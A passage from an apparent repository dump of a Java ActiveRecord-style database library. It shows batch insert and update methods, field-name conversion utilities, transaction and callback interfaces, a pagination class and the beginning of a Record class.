k++)\n\t\t\t\t\tresult[pointer++] = r[k];\n\t\t\t}\n\t\t\t\n\t\t\treturn result;\n\t\t}\n\t}\n\t\n    /**\n     * Execute a batch of SQL INSERT, UPDATE, or DELETE queries.\n     * Example:\n     * <pre>\n     * int[] result = DbPro.use().batch(\"myConfig\", sqlList, 500);\n     * </pre>\n\t * @param sqlList The SQL list to execute.\n\t * @param batchSize batch size.\n\t * @return The number of rows updated per statement\n\t */\n    public int[] batch(List<String> sqlList, int batchSize) {\n\t\tConnection conn = null;\n\t\tBoolean autoCommit = null;\n\t\ttry {\n\t\t\tconn = config.getConnection();\n\t\t\tautoCommit = conn.getAutoCommit();\n\t\t\tconn.setAutoCommit(false);\n\t\t\treturn batch(config, conn, sqlList, batchSize);\n\t\t} catch (Exception e) {\n\t\t\tthrow new ActiveRecordException(e);\n\t\t} finally {\n\t\t\tif (autoCommit != null)\n\t\t\t\ttry {conn.setAutoCommit(autoCommit);} catch (Exception e) {LogKit.error(e.getMessage(), e);}\n\t\t\tconfig.close(conn);\n\t\t}\n    }\n    \n    /**\n     * Batch save models using the \"insert into ...\" sql generated by the first model in modelList.\n     * Ensure all the models can use the same sql as the first model.\n     */\n//    public int[] batchSave(List<? extends Model> modelList, int batchSize) {\n//    \tif (modelList == null || modelList.size() == 0)\n//    \t\treturn new int[0];\n//\n//    \tModel model = modelList.get(0);\n//    \tMap<String, Object> attrs = model._getAttrs();\n//    \tint index = 0;\n//    \tStringBuilder columns = new StringBuilder();\n//    \t// the same as the iterator in Dialect.forModelSave() to ensure the order of the attrs\n//\t\tfor (Entry<String, Object> e : attrs.entrySet()) {\n//\t\t\tif (config.dialect.isOracle()) {\t// 支持 oracle 自增主键\n//\t\t\t\tObject value = e.getValue();\n//\t\t\t\tif (value instanceof String && ((String)value).endsWith(\".nextval\")) {\n//\t\t\t\t\tcontinue ;\n//\t\t\t\t}\n//\t\t\t}\n//\n//\t\t\tif (index++ > 0) {\n//\t\t\t\tcolumns.append(',');\n//\t\t\t}\n//\t\t\tcolumns.append(e.getKey());\n//\t\t}\n//\n//    \tStringBuilder sql = new StringBuilder();\n//    \tList<Object> parasNoUse = new ArrayList<Object>();\n//    \tconfig.dialect.forModelSave(TableMapping.me().getTable(model.getClass()), attrs, sql, parasNoUse);\n//    \treturn batch(sql.toString(), columns.toString(), modelList, batchSize);\n//    }\n    \n    /**\n     * Batch save records using the \"insert into ...\" sql generated by the first record in recordList.\n     * Ensure all the record can use the same sql as the first record.\n     * @param tableName the table name\n     */\n    public int[] batchSave(String tableName, List<? extends Record> recordList, int batchSize) {\n    \tif (recordList == null || recordList.size() == 0)\n    \t\treturn new int[0];\n    \t\n    \tRecord record = recordList.get(0);\n    \tMap<String, Object> cols = record.getColumns();\n    \tint index = 0;\n    \tStringBuilder columns = new StringBuilder();\n    \t// the same as the iterator in Dialect.forDbSave() to ensure the order of the columns\n\t\tfor (Map.Entry<String, Object> e : cols.entrySet()) {\n\t\t\tif (config.dialect.isOracle()) {\t// 支持 oracle 自增主键\n\t\t\t\tObject value = e.getValue();\n\t\t\t\tif (value instanceof String && ((String)value).endsWith(\".nextval\")) {\n\t\t\t\t\tcontinue ;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\tif (index++ > 0) {\n\t\t\t\tcolumns.append(',');\n\t\t\t}\n\t\t\tcolumns.append(e.getKey());\n\t\t}\n    \t\n    \tString[] pKeysNoUse = new String[0];\n    \tStringBuilder sql = new StringBuilder();\n    \tList<Object> parasNoUse = new ArrayList<Object>();\n    \tconfig.dialect.forDbSave(tableName, pKeysNoUse, record, sql, parasNoUse);\n    \treturn batch(sql.toString(), columns.toString(), recordList, batchSize);\n    }\n    \n    /**\n     * Batch update models using the attrs names of the first model in modelList.\n     * Ensure all the models can use the same sql as the first model.\n     */\n//    public int[] batchUpdate(List<? extends Model> modelList, int batchSize) {\n//    \tif (modelList == null || modelList.size() == 0)\n//    \t\treturn new int[0];\n//\n//    \tModel model = modelList.get(0);\n//\n//    \t// 新增支持 modifyFlag\n//    \tif (model.modifyFlag == null || model.modifyFlag.isEmpty()) {\n//    \t\treturn new int[0];\n//    \t}\n//    \tSet<String> modifyFlag = model._getModifyFlag();\n//\n//    \tTable table = TableMapping.me().getTable(model.getClass());\n//    \tString[] pKeys = table.getPrimaryKey();\n//    \tMap<String, Object> attrs = model._getAttrs();\n//    \tList<String> attrNames = new ArrayList<String>();\n//    \t// the same as the iterator in Dialect.forModelSave() to ensure the order of the attrs\n//    \tfor (Entry<String, Object> e : attrs.entrySet()) {\n//    \t\tString attr = e.getKey();\n//    \t\tif (modifyFlag.contains(attr) && !config.dialect.isPrimaryKey(attr, pKeys) && table.hasColumnLabel(attr))\n//    \t\t\tattrNames.add(attr);\n//    \t}\n//    \tfor (String pKey : pKeys)\n//    \t\tattrNames.add(pKey);\n//    \tString columns = StrKit.join(attrNames.toArray(new String[attrNames.size()]), \",\");\n//\n//    \t// update all attrs of the model not use the midifyFlag of every single model\n//    \t// Set<String> modifyFlag = attrs.keySet();\t// model.getModifyFlag();\n//\n//    \tStringBuilder sql = new StringBuilder();\n//    \tList<Object> parasNoUse = new ArrayList<Object>();\n//    \tconfig.dialect.forModelUpdate(TableMapping.me().getTable(model.getClass()), attrs, modifyFlag, sql, parasNoUse);\n//    \treturn batch(sql.toString(), columns, modelList, batchSize);\n//    }\n    \n    /**\n     * Batch update records using the columns names of the first record in recordList.\n     * Ensure all the records can use the same sql as the first record.\n     * @param tableName the table name\n     * @param primaryKey the primary key of the table, composite primary key is separated by comma character: \",\"\n     */\n    public int[] batchUpdate(String tableName, String primaryKey, List<? extends Record> recordList, int batchSize) {\n    \tif (recordList == null || recordList.size() == 0)\n    \t\treturn new int[0];\n    \t\n    \tString[] pKeys = primaryKey.split(\",\");\n    \tconfig.dialect.trimPrimaryKeys(pKeys);\n    \t\n    \tRecord record = recordList.get(0);\n    \t\n    \t// Record 新增支持 modifyFlag\n    \tif (record.modifyFlag == null || record.modifyFlag.isEmpty()) {\n    \t\treturn new int[0];\n    \t}\n    \tSet<String> modifyFlag = record._getModifyFlag();\n    \t\n    \tMap<String, Object> cols = record.getColumns();\n    \tList<String> colNames = new ArrayList<String>();\n    \t// the same as the iterator in Dialect.forDbUpdate() to ensure the order of the columns\n    \tfor (Map.Entry<String, Object> e : cols.entrySet()) {\n    \t\tString col = e.getKey();\n    \t\tif (modifyFlag.contains(col) && !config.dialect.isPrimaryKey(col, pKeys))\n    \t\t\tcolNames.add(col);\n    \t}\n    \tfor (String pKey : pKeys)\n    \t\tcolNames.add(pKey);\n    \tString columns = StrKit.join(colNames.toArray(new String[colNames.size()]), \",\");\n    \t\n    \tObject[] idsNoUse = new Object[pKeys.length];\n    \tStringBuilder sql = new StringBuilder();\n    \tList<Object> parasNoUse = new ArrayList<Object>();\n    \tconfig.dialect.forDbUpdate(tableName, pKeys, idsNoUse, record, sql, parasNoUse);\n    \treturn batch(sql.toString(), columns, recordList, batchSize);\n    }\n    \n    /**\n     * Batch update records with default primary key, using the columns names of the first record in recordList.\n     * Ensure all the records can use the same sql as the first record.\n     * @param tableName the table name\n     */\n    public int[] batchUpdate(String tableName, List<? extends Record> recordList, int batchSize) {\n    \treturn batchUpdate(tableName, config.dialect.getDefaultPrimaryKey(),recordList, batchSize);\n    }\n    \n//    public String getSql(String key) {\n//    \treturn config.getSqlKit().getSql(key);\n//    }\n    \n    // 支持传入变量用于 sql 生成。为了避免用户将参数拼接在 sql 中引起 sql 注入风险，只在 SqlKit 中开放该功能\n    // public String getSql(String key, Map data) {\n    //     return config.getSqlKit().getSql(key, data);\n    // }\n    \n//    public SqlPara getSqlPara(String key, Record record) {\n//    \treturn getSqlPara(key, record.getColumns());\n//    }\n//\n//    public SqlPara getSqlPara(String key, Model model) {\n//    \treturn getSqlPara(key, model._getAttrs());\n//    }\n//\n//    public SqlPara getSqlPara(String key, Map data) {\n//    \treturn config.getSqlKit().getSqlPara(key, data);\n//    }\n//\n//    public SqlPara getSqlPara(String key, Object... paras) {\n//    \treturn config.getSqlKit().getSqlPara(key, paras);\n//    }\n//\n//\tpublic SqlPara getSqlParaByString(String content, Map data) {\n//\t\treturn config.getSqlKit().getSqlParaByString(content, data);\n//\t}\n//\n//\tpublic SqlPara getSqlParaByString(String content, Object... paras) {\n//\t\treturn config.getSqlKit().getSqlParaByString(content, paras);\n//\t}\n//\n//    public List<Record> find(SqlPara sqlPara) {\n//    \treturn find(sqlPara.getSql(), sqlPara.getPara());\n//    }\n//\n//    public Record findFirst(SqlPara sqlPara) {\n//    \treturn findFirst(sqlPara.getSql(), sqlPara.getPara());\n//    }\n//\n//    public int update(SqlPara sqlPara) {\n//    \treturn update(sqlPara.getSql(), sqlPara.getPara());\n//    }\n//\n//    public Page<Record> paginate(int pageNumber, int pageSize, SqlPara sqlPara) {\n//    \tString[] sqls = PageSqlKit.parsePageSql(sqlPara.getSql());\n//    \treturn doPaginate(pageNumber, pageSize, null, sqls[0], sqls[1], sqlPara.getPara());\n//    }\n//\n//\tpublic Page<Record> paginate(int pageNumber, int pageSize, boolean isGroupBySql, SqlPara sqlPara) {\n//\t\tString[] sqls = PageSqlKit.parsePageSql(sqlPara.getSql());\n//\t\treturn doPaginate(pageNumber, pageSize, isGroupBySql, sqls[0], sqls[1], sqlPara.getPara());\n//\t}\n\t\n\t// ---------\n\t\n\t/**\n\t * 迭代处理每一个查询出来的 Record 对象\n\t * <pre>\n\t * 例子：\n\t * Db.each(record -> {\n\t *    // 处理 record 的代码在此\n\t *    \n\t *    // 返回 true 继续循环处理下一条数据，返回 false 立即终止循环\n\t *    return true;\n\t * }, sql, paras);\n\t * </pre>\n\t */\n\tpublic void each(Function<Record, Boolean> func, String sql, Object... paras) {\n\t\tConnection conn = null;\n\t\ttry {\n\t\t\tconn = config.getConnection();\n\t\t\t\n\t\t\ttry (PreparedStatement pst = conn.prepareStatement(sql)) {\n\t\t\t\tconfig.dialect.fillStatement(pst, paras);\n\t\t\t\tResultSet rs = pst.executeQuery();\n\t\t\t\tconfig.dialect.eachRecord(config, rs, func);\n\t\t\t\tDbKit.close(rs);\n\t\t\t}\n\t\t\t\n\t\t} catch (Exception e) {\n\t\t\tthrow new ActiveRecordException(e);\n\t\t} finally {\n\t\t\tconfig.close(conn);\n\t\t}\n\t}\n\t\n\t// ---------\n\t\n//\tpublic DbTemplate template(String key, Map data) {\n//\t\treturn new DbTemplate(this, key, data);\n//\t}\n//\n//\tpublic DbTemplate template(String key, Object... paras) {\n//\t\treturn new DbTemplate(this, key, paras);\n//\t}\n//\n//\t// ---------\n//\n//\tpublic DbTemplate templateByString(String content, Map data) {\n//\t\treturn new DbTemplate(true, this, content, data);\n//\t}\n//\n//\tpublic DbTemplate templateByString(String content, Object... paras) {\n//\t\treturn new DbTemplate(true, this, content, paras);\n//\t}\n}\n\n\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord2/src/main/java/io/github/wujun728/db/record/FieldUtils.java",
    "content": "package io.github.wujun728.db.record;\n\n\nimport java.lang.reflect.Field;\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.List;\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;\nimport java.util.stream.Collectors;\n\npublic class FieldUtils {\n\n    private static Pattern humpPattern = Pattern.compile(\"[A-Z]\");\n\n    public static List<String> allTableFields(Class clazz){\n        return FieldUtils.allFields(clazz).stream().map(item->humpToLine2(item.getName())).collect(Collectors.toList());\n    }\n\n    public static List<String> allNameParamsFields(Class clazz){\n        return FieldUtils.allFields(clazz).stream().map(item->\":\"+item.getName()).collect(Collectors.toList());\n    }\n\n    public static List<Field> allFields(Class clazz){\n        ArrayList<Field> fields = new ArrayList<>();\n        fields.addAll(Arrays.asList(clazz.getSuperclass().getDeclaredFields()));\n        fields.addAll(Arrays.asList(clazz.getDeclaredFields()));\n        return fields;\n    }\n    \n    public static String columnNameToFieldName(String name){\n    \treturn underlineToCamel(name);\n    }\n    public static String fieldNameToColumnName(String name){\n    \treturn humpToLine2(name);\n    }\n\n    /**\n     * 所有字母大写时toLower(),\n     * 所有字母小写时启用驼峰转换，\n     * 大小写字母都有，不转换\n     * 下划线转驼峰\n     */\n\tpublic static String underlineToCamel(String name){\n        boolean allUpper = true;\n        boolean allLower = true;\n        for (int i = 0; i < name.length(); i++) {\n            char c = name.charAt(i);\n            if(Character.isLowerCase(c)){\n                allUpper = false;\n            }else if (Character.isUpperCase(c)){\n                allLower = false;\n            }\n        }\n\n        if (allUpper){\n            name = name.toLowerCase();\n            allLower = true;\n        }\n        if (!allLower){\n            return name;\n        }\n\n        StringBuilder sb = new StringBuilder(name.length());\n        for (int i = 0; i < name.length(); i++) {\n            char c = name.charAt(i);\n            if ('_' == c) {\n                if (++i < name.length()){\n                    sb.append(Character.toUpperCase(name.charAt(i)));\n                }\n            }else {\n                sb.append(c);\n            }\n        }\n        return sb.toString();\n    }\n\n    /**\n     * 驼峰转下划线\n     */\n    public static String humpToLine2(String str) {\n        Matcher matcher = humpPattern.matcher(str);\n        StringBuffer sb = new StringBuffer();\n        while (matcher.find()) {\n            matcher.appendReplacement(sb, \"_\" + matcher.group(0).toLowerCase());\n        }\n        matcher.appendTail(sb);\n        return sb.toString();\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord2/src/main/java/io/github/wujun728/db/record/IAtom.java",
    "content": "/**\n * Copyright (c) 2011-2023, James Zhan 詹波 (jfinal@126.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage io.github.wujun728.db.record;\n\nimport java.sql.SQLException;\n\n/**\n * IAtom support transaction of database.\n * It can be invoked in Db.tx(IAtom atom) method.\n * <br>\n * Example:<br>\n * Db.tx(new IAtom(){<br>\n * \t\tpublic boolean run() throws SQLException {<br>\n * \t\t\tint result1 = Db.update(\"update account set cash = cash - ? where id = ?\", 100, 123);<br>\n * \t\t\tint result2 = Db.update(\"update account set cash = cash + ? where id = ?\", 100, 456);<br>\n * \t\t\treturn result1 == 1 && result2 == 1;<br>\n * \t\t}});\n */\n@FunctionalInterface\npublic interface IAtom {\n\t\n\t/**\n\t * Place codes here that need transaction support.\n\t * @return true if you want to commit the transaction otherwise roll back transaction\n\t */\n\tboolean run() throws SQLException;\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord2/src/main/java/io/github/wujun728/db/record/ICallback.java",
    "content": "/**\n * Copyright (c) 2011-2023, James Zhan 詹波 (jfinal@126.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage io.github.wujun728.db.record;\n\nimport java.sql.Connection;\nimport java.sql.SQLException;\n\n/**\n * ICallback provide a JDBC Connection if you need it or the active record plugin can not satisfy you requirement.\n */\n@FunctionalInterface\npublic interface ICallback {\n\t\n\t/**\n\t * Place codes here that need call back by active record plugin.\n\t * @param conn the JDBC Connection, you need't close this connection after used it, active record plugin will close it automatically\n\t */\n\tObject call(Connection conn) throws SQLException;\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord2/src/main/java/io/github/wujun728/db/record/IContainerFactory.java",
    "content": "/**\n * Copyright (c) 2011-2023, James Zhan 詹波 (jfinal@126.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage io.github.wujun728.db.record;\n\nimport java.util.HashMap;\nimport java.util.HashSet;\nimport java.util.Map;\nimport java.util.Set;\n\n@SuppressWarnings(\"rawtypes\")\npublic interface IContainerFactory {\n\tMap getAttrsMap();\n\tMap getColumnsMap();\n\tSet getModifyFlagSet();\n\t\n\tstatic final IContainerFactory defaultContainerFactory = new IContainerFactory() {\n\t\t\n\t\tpublic Map<String, Object> getAttrsMap() {\n\t\t\treturn new HashMap<String, Object>();\n\t\t}\n\t\t\n\t\tpublic Map<String, Object> getColumnsMap() {\n\t\t\treturn new HashMap<String, Object>();\n\t\t}\n\t\t\n\t\tpublic Set<String> getModifyFlagSet() {\n\t\t\treturn new HashSet<String>();\n\t\t}\n\t};\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord2/src/main/java/io/github/wujun728/db/record/IDbProFactory.java",
    "content": "/**\n * Copyright (c) 2011-2023, James Zhan 詹波 (jfinal@126.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage io.github.wujun728.db.record;\n\n/**\n * IDbProFactory\n * \n * 用于自义扩展 DbPro 实现类，实现定制化功能\n * 1：创建 DbPro 继承类： public class MyDbPro extends DbPro\n * 2：创建 IDbProFactory 实现类：public class MyDbProFactory implements IDbProFactory，让其 getDbPro 方法 返回 MyDbPro 对象\n * 3：配置生效： activeRecordPlugin.setDbProFactory(new MyDbProFactory())\n * \n * 注意：每个 ActiveRecordPlugin 对象拥有独立的 IDbProFactory 对象，多数据源使用时注意要对每个 arp 进行配置\n */\n@FunctionalInterface\npublic interface IDbProFactory {\n\t\n\tDbPro getDbPro(String configName);\n\t\n\tstatic final IDbProFactory defaultDbProFactory = new IDbProFactory() {\n\t\tpublic DbPro getDbPro(String configName) {\n\t\t\treturn new DbPro(configName);\n\t\t}\n\t};\n}\n\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord2/src/main/java/io/github/wujun728/db/record/IRow.java",
    "content": "/**\n * Copyright (c) 2011-2023, James Zhan 詹波 (jfinal@126.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage io.github.wujun728.db.record;\n\nimport java.math.BigDecimal;\nimport java.time.LocalDateTime;\nimport java.util.Map;\n\n/**\n * IRow 支持统一的方式来处理 Model 和 Record\n */\npublic interface IRow<M> {\n\n    /**\n     * Convert Model or Record to a Map.\n     * <p>\n     * Danger! The update method will ignore the attribute if you change it directly.\n     * You must use set method to change attribute that update method can handle it.\n     */\n    public Map<String, Object> toMap();\n\n    /**\n     * Put map to the model without check attribute name.\n     */\n    public M put(Map<String, Object> map);\n\n    /**\n     * Put key value pair to the model without check attribute name.\n     */\n    public M put(String key, Object value);\n\n    /**\n     * Set column value.\n     * @param column the column name\n     * @param value the value of the column\n     */\n    public M set(String column, Object value);\n\n    /**\n     * Get column value of any mysql type\n     */\n    public <T> T get(String column);\n\n    /**\n     * Get column of any mysql type. Returns defaultValue if null.\n     */\n    public <T> T get(String column, Object defaultValue);\n\n    /**\n     * Get column of mysql type: varchar, char, enum, set, text, tinytext, mediumtext, longtext\n     */\n    public String getStr(String column);\n\n    /**\n     * Get column of mysql type: int, integer, tinyint(n) n > 1, smallint, mediumint\n     */\n    public Integer getInt(String column);\n\n    /**\n     * Get column of mysql type: bigint, unsigned int\n     */\n    public Long getLong(String column);\n\n    /**\n     * Get column of mysql type: unsigned bigint\n     */\n    public java.math.BigInteger getBigInteger(String column);\n\n    /**\n     * Get column of mysql type: date, year\n     */\n    public java.util.Date getDate(String column);\n\n    public LocalDateTime getLocalDateTime(String column);\n\n    /**\n     * Get column of mysql type: time\n     */\n    public java.sql.Time getTime(String column);\n\n    /**\n     * Get column of mysql type: timestamp, datetime\n     */\n    public java.sql.Timestamp getTimestamp(String column);\n\n    /**\n     * Get column of mysql type: real, double\n     */\n    public Double getDouble(String column);\n\n    /**\n     * Get column of mysql type: float\n     */\n    public Float getFloat(String column);\n\n    public Short getShort(String column);\n\n    public Byte getByte(String column);\n\n    /**\n     * Get column of mysql type: bit, tinyint(1)\n     */\n    public Boolean getBoolean(String column);\n\n    /**\n     * Get column of mysql type: decimal, numeric\n     */\n    public BigDecimal getBigDecimal(String column);\n\n    /**\n     * Get column of mysql type: binary, varbinary, tinyblob, blob, mediumblob, longblob\n     * I have not finished the test.\n     */\n    public byte[] getBytes(String column);\n\n    /**\n     * Get column of any type that extends from Number\n     */\n    public Number getNumber(String column);\n\n    /**\n     * Convert to json string.\n    \n    public String toJson();\n     */\n\n    // isEmpty() 方法导致 Model、Record 在使用 fastjson 转化 json 时多出一个 empty 字段，改为 size() 方法\n    public int size();\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord2/src/main/java/io/github/wujun728/db/record/Page.java",
    "content": "/**\n * Copyright (c) 2011-2015, James Zhan 詹波 (jfinal@126.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage io.github.wujun728.db.record;\n\nimport lombok.Data;\n\nimport java.io.Serializable;\nimport java.util.List;\n\n/**\n * Page is the result of Model.paginate(......) or Db.paginate(......)\n */\n@Data\npublic class Page<T> implements Serializable {\n\t\n\tprivate static final long serialVersionUID = -5395997221963176643L;\n\t\n\tprivate List<T> list;\t\t\t\t// list result of this page\n\tprivate int pageNumber;\t\t\t\t// page number\n\tprivate int pageSize;\t\t\t\t// result amount of this page\n\tprivate int totalPage;\t\t\t\t// total page\n\tprivate int totalRow;\t\t\t\t// total row\n\t\n\t/**\n\t * Constructor.\n\t * @param list the list of paginate result\n\t * @param pageNumber the page number\n\t * @param pageSize the page size\n\t * @param totalPage the total page of paginate\n\t * @param totalRow the total row of paginate\n\t */\n\tpublic Page(List<T> list, int pageNumber, int pageSize, int totalPage, int totalRow) {\n\t\tthis.list = list;\n\t\tthis.pageNumber = pageNumber;\n\t\tthis.pageSize = pageSize;\n\t\tthis.totalPage = totalPage;\n\t\tthis.totalRow = totalRow;\n\t}\n\tpublic Page() {\n\t}\n\t\n\t/**\n\t * Return list of this page.\n\t */\n\tpublic List<T> getList() {\n\t\treturn list;\n\t}\n\t\n\t/**\n\t * Return page number.\n\t */\n\tpublic int getPageNumber() {\n\t\treturn pageNumber;\n\t}\n\t\n\t/**\n\t * Return page size.\n\t */\n\tpublic int getPageSize() {\n\t\treturn pageSize;\n\t}\n\t\n\t/**\n\t * Return total page.\n\t */\n\tpublic int getTotalPage() {\n\t\treturn totalPage;\n\t}\n\t\n\t/**\n\t * Return total row.\n\t */\n\tpublic int getTotalRow() {\n\t\treturn totalRow;\n\t}\n}\n\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord2/src/main/java/io/github/wujun728/db/record/Record.java",
    "content": "/**\n * Copyright (c) 2011-2015, James Zhan 詹波 (jfinal@126.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage io.github.wujun728.db.record;\n\nimport io.github.wujun728.db.record.kit.TypeKit;\n\nimport java.io.Serializable;\nimport java.math.BigDecimal;\nimport java.math.BigInteger;\nimport java.time.LocalDateTime;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Set;\nimport java.util.Map.Entry;\n\n/**\n * Record\n */\npublic class Record implements IRow<Record>, Serializable {\n\n\tprivate static final long serialVersionUID = 905784513600884082L;\n\n\tprivate Map<String, Object> columns;\t// = getColumnsMap();\t// getConfig().containerFactory.getColumnsMap();\t// new HashMap<String, Object>();\n\n\t/**\n\t * Flag of column has been modified. update need this flag\n\t */\n\tSet<String> modifyFlag;\n\n\t@SuppressWarnings(\"unchecked\")\n\tpublic Set<String> _getModifyFlag() {\n\t\tif (modifyFlag == null) {\n\t\t\tConfig config = DbKit.getConfig();\n\t\t\tif (config == null) {\n\t\t\t\tmodifyFlag = DbKit.brokenConfig.containerFactory.getModifyFlagSet();\n\t\t\t} else {\n\t\t\t\tmodifyFlag = config.containerFactory.getModifyFlagSet();\n\t\t\t}\n\t\t}\n\t\treturn modifyFlag;\n\t}\n\n\tvoid clearModifyFlag() {\n\t\tif (modifyFlag != null) {\n\t\t\tmodifyFlag.clear();\n\t\t}\n\t}\n\n\t/**\n\t * Set the containerFactory by configName.\n\t * Only the containerFactory of the config used by Record for getColumnsMap()\n\t * @param configName the config name\n\t */\n\tpublic Record setContainerFactoryByConfigName(String configName) {\n\t\tConfig config = DbKit.getConfig(configName);\n\t\tif (config == null) {\n\t\t\tthrow new IllegalArgumentException(\"Config not found: \" + configName);\n\t\t}\n\n\t\tprocessColumnsMap(config);\n\t\treturn this;\n\t}\n\n\t// 用于 RecordBuilder 中注入 Map。也可以通过调用 CPI.setColumnsMap(record, columns) 实现\n\tvoid setColumnsMap(Map<String, Object> columns) {\n\t\tthis.columns = columns;\n\t}\n\n\t@SuppressWarnings(\"unchecked\")\n\tprivate void processColumnsMap(Config config) {\n\t\tif (columns == null || columns.size() == 0) {\n\t\t\tcolumns = config.containerFactory.getColumnsMap();\n\t\t} else {\n\t\t\tMap<String, Object> columnsOld = columns;\n\t\t\tcolumns = config.containerFactory.getColumnsMap();\n\t\t\tcolumns.putAll(columnsOld);\n\t\t}\n\t}\n\n\t/**\n\t * Return columns map.\n\t */\n\t@SuppressWarnings(\"unchecked\")\n\tpublic Map<String, Object> getColumns() {\n\t\tif (columns == null) {\n\t\t\tif (DbKit.config == null) {\n\t\t\t\tcolumns = DbKit.brokenConfig.containerFactory.getColumnsMap();\n\t\t\t} else {\n\t\t\t\tcolumns = DbKit.config.containerFactory.getColumnsMap();\n\t\t\t}\n\t\t}\n\t\treturn columns;\n\t}\n\n\t/**\n\t * Set columns value with map.\n\t * @param columns the columns map\n\t */\n\tpublic Record setColumns(Map<String, Object> columns) {\n\t\tfor (Entry<String, Object> e : columns.entrySet()) {\n\t\t\tset(e.getKey(), e.getValue());\n\t\t}\n\t\treturn this;\n\t}\n\n\t/**\n\t * Set columns value with Record.\n\t * @param record the Record object\n\t */\n\tpublic Record setColumns(Record record) {\n\t\treturn setColumns(record.getColumns());\n\t}\n\n\t/**\n\t * Set columns value with Model object.\n\t * @param model the Model object\n\t */\n//\tpublic Record setColumns(Model<?> model) {\n//\t\treturn setColumns(model._getAttrs());\n//\t}\n\n\t/**\n\t * Remove attribute of this record.\n\t * @param column the column name of the record\n\t */\n\tpublic Record remove(String column) {\n\t\tgetColumns().remove(column);\n\t\t_getModifyFlag().remove(column);\n\t\treturn this;\n\t}\n\n\t/**\n\t * Remove columns of this record.\n\t * @param columns the column names of the record\n\t */\n\tpublic Record remove(String... columns) {\n\t\tif (columns != null) {\n\t\t\tfor (String c : columns) {\n\t\t\t\tthis.getColumns().remove(c);\n\t\t\t\tthis._getModifyFlag().remove(c);\n\t\t\t}\n\t\t}\n\t\treturn this;\n\t}\n\n\t/**\n\t * Remove columns if it is null.\n\t */\n\tpublic Record removeNullValueColumns() {\n\t\tfor (java.util.Iterator<Entry<String, Object>> it = getColumns().entrySet().iterator(); it.hasNext();) {\n\t\t\tEntry<String, Object> e = it.next();\n\t\t\tif (e.getValue() == null) {\n\t\t\t\tit.remove();\n\t\t\t\t_getModifyFlag().remove(e.getKey());\n\t\t\t}\n\t\t}\n\t\treturn this;\n\t}\n\n\t/**\n\t * Keep columns of this record and remove other columns.\n\t * @param columns the column names of the record\n\t */\n\t@SuppressWarnings(\"unchecked\")\n\tpublic Record keep(String... columns) {\n\t\tif (columns != null && columns.length > 0) {\n\t\t\tConfig config = DbKit.getConfig();\n\t\t\tif (config == null) {\t// 支持无数据库连接场景\n\t\t\t\tconfig = DbKit.brokenConfig;\n\t\t\t}\n\t\t\tMap<String, Object> newColumns = config.containerFactory.getColumnsMap();\n\t\t\tSet<String> newModifyFlag = config.containerFactory.getModifyFlagSet();\n\t\t\tfor (String c : columns) {\n\t\t\t\tif (this.getColumns().containsKey(c))\t// prevent put null value to the 